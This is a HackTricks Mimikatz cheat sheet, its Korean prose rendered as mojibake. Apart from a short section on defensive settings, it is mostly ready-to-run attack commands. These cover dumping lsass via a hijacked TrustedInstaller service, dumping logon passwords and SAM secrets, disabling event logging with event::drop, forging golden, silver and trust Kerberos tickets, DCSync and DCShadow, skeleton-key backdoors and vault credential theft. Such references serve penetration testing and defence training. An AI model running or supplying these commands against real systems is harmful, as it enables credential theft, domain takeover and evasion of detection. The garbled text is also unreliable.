# Mimikatz
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**์ด ํ์ด์ง๋ [adsecurity.org](https://adsecurity.org/?page\_id=1821)์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค**. ์ถ๊ฐ ์ ๋ณด๋ ์๋ณธ์ ํ์ธํ์ธ์!
## LM ๋ฐ ๋ฉ๋ชจ๋ฆฌ์ ํ๋ฌธ
Windows 8.1 ๋ฐ Windows Server 2012 R2 ์ดํ๋ก, ์๊ฒฉ ์ฆ๋ช
๋๋ ๋ฐฉ์ง๋ฅผ ์ํ ์ค์ํ ์กฐ์น๊ฐ ์ํ๋์์ต๋๋ค:
- **LM ํด์ ๋ฐ ํ๋ฌธ ๋น๋ฐ๋ฒํธ**๋ ๋ณด์์ ๊ฐํํ๊ธฐ ์ํด ๋ ์ด์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋์ง ์์ต๋๋ค. ํน์ ๋ ์ง์คํธ๋ฆฌ ์ค์ ์ธ _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_์ DWORD ๊ฐ `0`์ผ๋ก ์ค์ ํ์ฌ Digest Authentication์ ๋นํ์ฑํํด์ผ ํ๋ฉฐ, ์ด๋ฅผ ํตํด "ํ๋ฌธ" ๋น๋ฐ๋ฒํธ๊ฐ LSASS์ ์บ์๋์ง ์๋๋ก ํฉ๋๋ค.
- **LSA ๋ณดํธ**๋ ๋ฌด๋จ ๋ฉ๋ชจ๋ฆฌ ์ฝ๊ธฐ ๋ฐ ์ฝ๋ ์ฃผ์
์ผ๋ก๋ถํฐ ๋ก์ปฌ ๋ณด์ ๊ถํ(LSA) ํ๋ก์ธ์ค๋ฅผ ๋ณดํธํ๊ธฐ ์ํด ๋์
๋์์ต๋๋ค. ์ด๋ LSASS๋ฅผ ๋ณดํธ๋ ํ๋ก์ธ์ค๋ก ํ์ํจ์ผ๋ก์จ ๋ฌ์ฑ๋ฉ๋๋ค. LSA ๋ณดํธ๋ฅผ ํ์ฑํํ๋ ค๋ฉด:
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_์์ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์์ ํ์ฌ `RunAsPPL`์ `dword:00000001`๋ก ์ค์ ํฉ๋๋ค.
2. ๊ด๋ฆฌ๋๋ ์ฅ์น์์ ์ด ๋ ์ง์คํธ๋ฆฌ ๋ณ๊ฒฝ์ ์ํํ๋ ๊ทธ๋ฃน ์ ์ฑ
๊ฐ์ฒด(GPO)๋ฅผ ๊ตฌํํฉ๋๋ค.
์ด๋ฌํ ๋ณดํธ์๋ ๋ถ๊ตฌํ๊ณ , Mimikatz์ ๊ฐ์ ๋๊ตฌ๋ ํน์ ๋๋ผ์ด๋ฒ๋ฅผ ์ฌ์ฉํ์ฌ LSA ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ง๋ง, ์ด๋ฌํ ํ๋์ ์ด๋ฒคํธ ๋ก๊ทธ์ ๊ธฐ๋ก๋ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
### SeDebugPrivilege ์ ๊ฑฐ์ ๋ํ ๋์
๊ด๋ฆฌ์๋ ์ผ๋ฐ์ ์ผ๋ก SeDebugPrivilege๋ฅผ ๊ฐ์ง๊ณ ์์ด ํ๋ก๊ทธ๋จ์ ๋๋ฒ๊น
ํ ์ ์์ต๋๋ค. ์ด ๊ถํ์ ๋ฌด๋จ ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ์ ํ๋ ์ ์์ผ๋ฉฐ, ์ด๋ ๊ณต๊ฒฉ์๊ฐ ๋ฉ๋ชจ๋ฆฌ์์ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถํ๋ ๋ฐ ์ฌ์ฉํ๋ ์ผ๋ฐ์ ์ธ ๊ธฐ์ ์
๋๋ค. ๊ทธ๋ฌ๋ ์ด ๊ถํ์ด ์ ๊ฑฐ๋๋๋ผ๋, TrustedInstaller ๊ณ์ ์ ์ฌ์ฉ์ ์ ์ ์๋น์ค ๊ตฌ์ฑ์ ์ฌ์ฉํ์ฌ ์ฌ์ ํ ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ฅผ ์ํํ ์ ์์ต๋๋ค:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
์ด๊ฒ์ `lsass.exe` ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ์ผ๋ก ๋คํํ ์ ์๊ฒ ํ๋ฉฐ, ์ดํ ๋ค๋ฅธ ์์คํ
์์ ๋ถ์ํ์ฌ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถํ ์ ์์ต๋๋ค:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
## Mimikatz ์ต์
Mimikatz์์ ์ด๋ฒคํธ ๋ก๊ทธ ๋ณ์กฐ๋ ๋ ๊ฐ์ง ์ฃผ์ ์์
์ ํฌํจํฉ๋๋ค: ์ด๋ฒคํธ ๋ก๊ทธ ์ง์ฐ๊ธฐ ๋ฐ ์๋ก์ด ์ด๋ฒคํธ ๋ก๊ทธ ์์ฑ์ ๋ฐฉ์งํ๊ธฐ ์ํ ์ด๋ฒคํธ ์๋น์ค ํจ์น. ์๋๋ ์ด๋ฌํ ์์
์ ์ํํ๊ธฐ ์ํ ๋ช
๋ น์ด์
๋๋ค:
#### ์ด๋ฒคํธ ๋ก๊ทธ ์ง์ฐ๊ธฐ
- **๋ช
๋ น์ด**: ์ด ์์
์ ์ด๋ฒคํธ ๋ก๊ทธ๋ฅผ ์ญ์ ํ์ฌ ์
์์ ์ธ ํ๋์ ์ถ์ ํ๊ธฐ ์ด๋ ต๊ฒ ๋ง๋๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค.
- Mimikatz๋ ๋ช
๋ น์ค์ ํตํด ์ด๋ฒคํธ ๋ก๊ทธ๋ฅผ ์ง์ ์ง์ฐ๊ธฐ ์ํ ์ง์ ์ ์ธ ๋ช
๋ น์ด๋ฅผ ํ์ค ๋ฌธ์์์ ์ ๊ณตํ์ง ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฒคํธ ๋ก๊ทธ ์กฐ์์ ์ผ๋ฐ์ ์ผ๋ก Mimikatz ์ธ๋ถ์ ์์คํ
๋๊ตฌ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ ํน์ ๋ก๊ทธ๋ฅผ ์ง์ฐ๋ ๊ฒ์ ํฌํจํฉ๋๋ค (์: PowerShell ๋๋ Windows ์ด๋ฒคํธ ๋ทฐ์ด ์ฌ์ฉ).
#### ์คํ์ ๊ธฐ๋ฅ: ์ด๋ฒคํธ ์๋น์ค ํจ์น
- **๋ช
๋ น์ด**: `event::drop`
- ์ด ์คํ์ ๋ช
๋ น์ด๋ ์ด๋ฒคํธ ๋ก๊น
์๋น์ค์ ๋์์ ์์ ํ์ฌ ์๋ก์ด ์ด๋ฒคํธ ๊ธฐ๋ก์ ๋ฐฉ์งํ๋๋ก ์ค๊ณ๋์์ต๋๋ค.
- ์์: `mimikatz "privilege::debug" "event::drop" exit`
- `privilege::debug` ๋ช
๋ น์ด๋ Mimikatz๊ฐ ์์คํ
์๋น์ค๋ฅผ ์์ ํ๋ ๋ฐ ํ์ํ ๊ถํ์ผ๋ก ์๋ํ๋๋ก ๋ณด์ฅํฉ๋๋ค.
- ๊ทธ ํ `event::drop` ๋ช
๋ น์ด๊ฐ ์ด๋ฒคํธ ๋ก๊น
์๋น์ค๋ฅผ ํจ์นํฉ๋๋ค.
### Kerberos ํฐ์ผ ๊ณต๊ฒฉ
### ๊ณจ๋ ํฐ์ผ ์์ฑ
๊ณจ๋ ํฐ์ผ์ ๋๋ฉ์ธ ์ ์ฒด ์ ๊ทผ์ ๊ฐ์ฅํ ์ ์๊ฒ ํด์ค๋๋ค. ์ฃผ์ ๋ช
๋ น์ด ๋ฐ ๋งค๊ฐ๋ณ์:
- ๋ช
๋ น์ด: `kerberos::golden`
- ๋งค๊ฐ๋ณ์:
- `/domain`: ๋๋ฉ์ธ ์ด๋ฆ.
- `/sid`: ๋๋ฉ์ธ์ ๋ณด์ ์๋ณ์(SID).
- `/user`: ๊ฐ์ฅํ ์ฌ์ฉ์ ์ด๋ฆ.
- `/krbtgt`: ๋๋ฉ์ธ์ KDC ์๋น์ค ๊ณ์ ์ NTLM ํด์.
- `/ptt`: ํฐ์ผ์ ๋ฉ๋ชจ๋ฆฌ์ ์ง์ ์ฃผ์
ํฉ๋๋ค.
- `/ticket`: ๋์ค์ ์ฌ์ฉํ ํฐ์ผ์ ์ ์ฅํฉ๋๋ค.
์์:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Silver Ticket Creation
Silver Tickets๋ ํน์ ์๋น์ค์ ๋ํ ์ ๊ทผ์ ํ์ฉํฉ๋๋ค. ์ฃผ์ ๋ช
๋ น์ด ๋ฐ ๋งค๊ฐ๋ณ์:
- Command: Golden Ticket๊ณผ ์ ์ฌํ์ง๋ง ํน์ ์๋น์ค๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค.
- Parameters:
- `/service`: ๋์ ์๋น์ค (์: cifs, http).
- ๊ธฐํ ๋งค๊ฐ๋ณ์๋ Golden Ticket๊ณผ ์ ์ฌํฉ๋๋ค.
Example:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Trust Ticket Creation
Trust Tickets๋ ์ ๋ขฐ ๊ด๊ณ๋ฅผ ํ์ฉํ์ฌ ๋๋ฉ์ธ ๊ฐ ๋ฆฌ์์ค์ ์ ๊ทผํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ฃผ์ ๋ช
๋ น ๋ฐ ๋งค๊ฐ๋ณ์:
- Command: Golden Ticket๊ณผ ์ ์ฌํ์ง๋ง ์ ๋ขฐ ๊ด๊ณ์ ๋ํ ๊ฒ์
๋๋ค.
- Parameters:
- `/target`: ๋์ ๋๋ฉ์ธ์ FQDN.
- `/rc4`: ์ ๋ขฐ ๊ณ์ ์ NTLM ํด์.
Example:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### ์ถ๊ฐ Kerberos ๋ช
๋ น์ด
- **ํฐ์ผ ๋ชฉ๋ก**:
- ๋ช
๋ น์ด: `kerberos::list`
- ํ์ฌ ์ฌ์ฉ์ ์ธ์
์ ๋ชจ๋ Kerberos ํฐ์ผ์ ๋์ดํฉ๋๋ค.
- **์บ์ ์ ๋ฌ**:
- ๋ช
๋ น์ด: `kerberos::ptc`
- ์บ์ ํ์ผ์์ Kerberos ํฐ์ผ์ ์ฃผ์
ํฉ๋๋ค.
- ์: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **ํฐ์ผ ์ ๋ฌ**:
- ๋ช
๋ น์ด: `kerberos::ptt`
- ๋ค๋ฅธ ์ธ์
์์ Kerberos ํฐ์ผ์ ์ฌ์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
- ์: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **ํฐ์ผ ์ญ์ **:
- ๋ช
๋ น์ด: `kerberos::purge`
- ์ธ์
์ ๋ชจ๋ Kerberos ํฐ์ผ์ ์ง์๋๋ค.
- ์ถฉ๋์ ํผํ๊ธฐ ์ํด ํฐ์ผ ์กฐ์ ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ๊ธฐ ์ ์ ์ ์ฉํฉ๋๋ค.
### Active Directory ๋ณ์กฐ
- **DCShadow**: AD ๊ฐ์ฒด ์กฐ์์ ์ํด ๊ธฐ๊ณ๋ฅผ DC์ฒ๋ผ ์์๋ก ์๋ํ๊ฒ ํฉ๋๋ค.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: DC๋ฅผ ๋ชจ๋ฐฉํ์ฌ ๋น๋ฐ๋ฒํธ ๋ฐ์ดํฐ๋ฅผ ์์ฒญํฉ๋๋ค.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### ์๊ฒฉ ์ฆ๋ช
์ ๊ทผ
- **LSADUMP::LSA**: LSA์์ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถํฉ๋๋ค.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: ์ปดํจํฐ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ์ฌ DC๋ฅผ ๊ฐ์ฅํฉ๋๋ค.
- *์๋ณธ ๋งฅ๋ฝ์์ NetSync์ ๋ํ ํน์ ๋ช
๋ น์ด๊ฐ ์ ๊ณต๋์ง ์์.*
- **LSADUMP::SAM**: ๋ก์ปฌ SAM ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ๊ทผํฉ๋๋ค.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: ๋ ์ง์คํธ๋ฆฌ์ ์ ์ฅ๋ ๋น๋ฐ์ ๋ณตํธํํฉ๋๋ค.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: ์ฌ์ฉ์์ ๋ํ ์๋ก์ด NTLM ํด์๋ฅผ ์ค์ ํฉ๋๋ค.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: ์ ๋ขฐ ์ธ์ฆ ์ ๋ณด๋ฅผ ๊ฒ์ํฉ๋๋ค.
- `mimikatz "lsadump::trust" exit`
### ๊ธฐํ
- **MISC::Skeleton**: DC์ LSASS์ ๋ฐฑ๋์ด๋ฅผ ์ฃผ์
ํฉ๋๋ค.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### ๊ถํ ์์น
- **PRIVILEGE::Backup**: ๋ฐฑ์
๊ถํ์ ํ๋ํฉ๋๋ค.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: ๋๋ฒ๊ทธ ๊ถํ์ ์ป์ต๋๋ค.
- `mimikatz "privilege::debug" exit`
### ์๊ฒฉ ์ฆ๋ช
๋คํ
- **SEKURLSA::LogonPasswords**: ๋ก๊ทธ์ธํ ์ฌ์ฉ์์ ์๊ฒฉ ์ฆ๋ช
์ ํ์ํฉ๋๋ค.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: ๋ฉ๋ชจ๋ฆฌ์์ Kerberos ํฐ์ผ์ ์ถ์ถํฉ๋๋ค.
- `mimikatz "sekurlsa::tickets /export" exit`
### SID ๋ฐ ํ ํฐ ์กฐ์
- **SID::add/modify**: SID ๋ฐ SIDHistory๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค.
- ์ถ๊ฐ: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- ์์ : *์๋ณธ ๋งฅ๋ฝ์์ ์์ ์ ๋ํ ํน์ ๋ช
๋ น์ด๊ฐ ์ ๊ณต๋์ง ์์.*
- **TOKEN::Elevate**: ํ ํฐ์ ๊ฐ์ฅํฉ๋๋ค.
- `mimikatz "token::elevate /domainadmin" exit`
### ํฐ๋ฏธ๋ ์๋น์ค
- **TS::MultiRDP**: ์ฌ๋ฌ RDP ์ธ์
์ ํ์ฉํฉ๋๋ค.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: TS/RDP ์ธ์
์ ๋์ดํฉ๋๋ค.
- *์๋ณธ ๋งฅ๋ฝ์์ TS::Sessions์ ๋ํ ํน์ ๋ช
๋ น์ด๊ฐ ์ ๊ณต๋์ง ์์.*
### ๊ธ๊ณ
- Windows Vault์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํฉ๋๋ค.
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter**์์ **ํ๋ก์ฐ**ํ์ธ์** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํ์ ๊ณต์ ํ์ธ์.**
{% endhint %}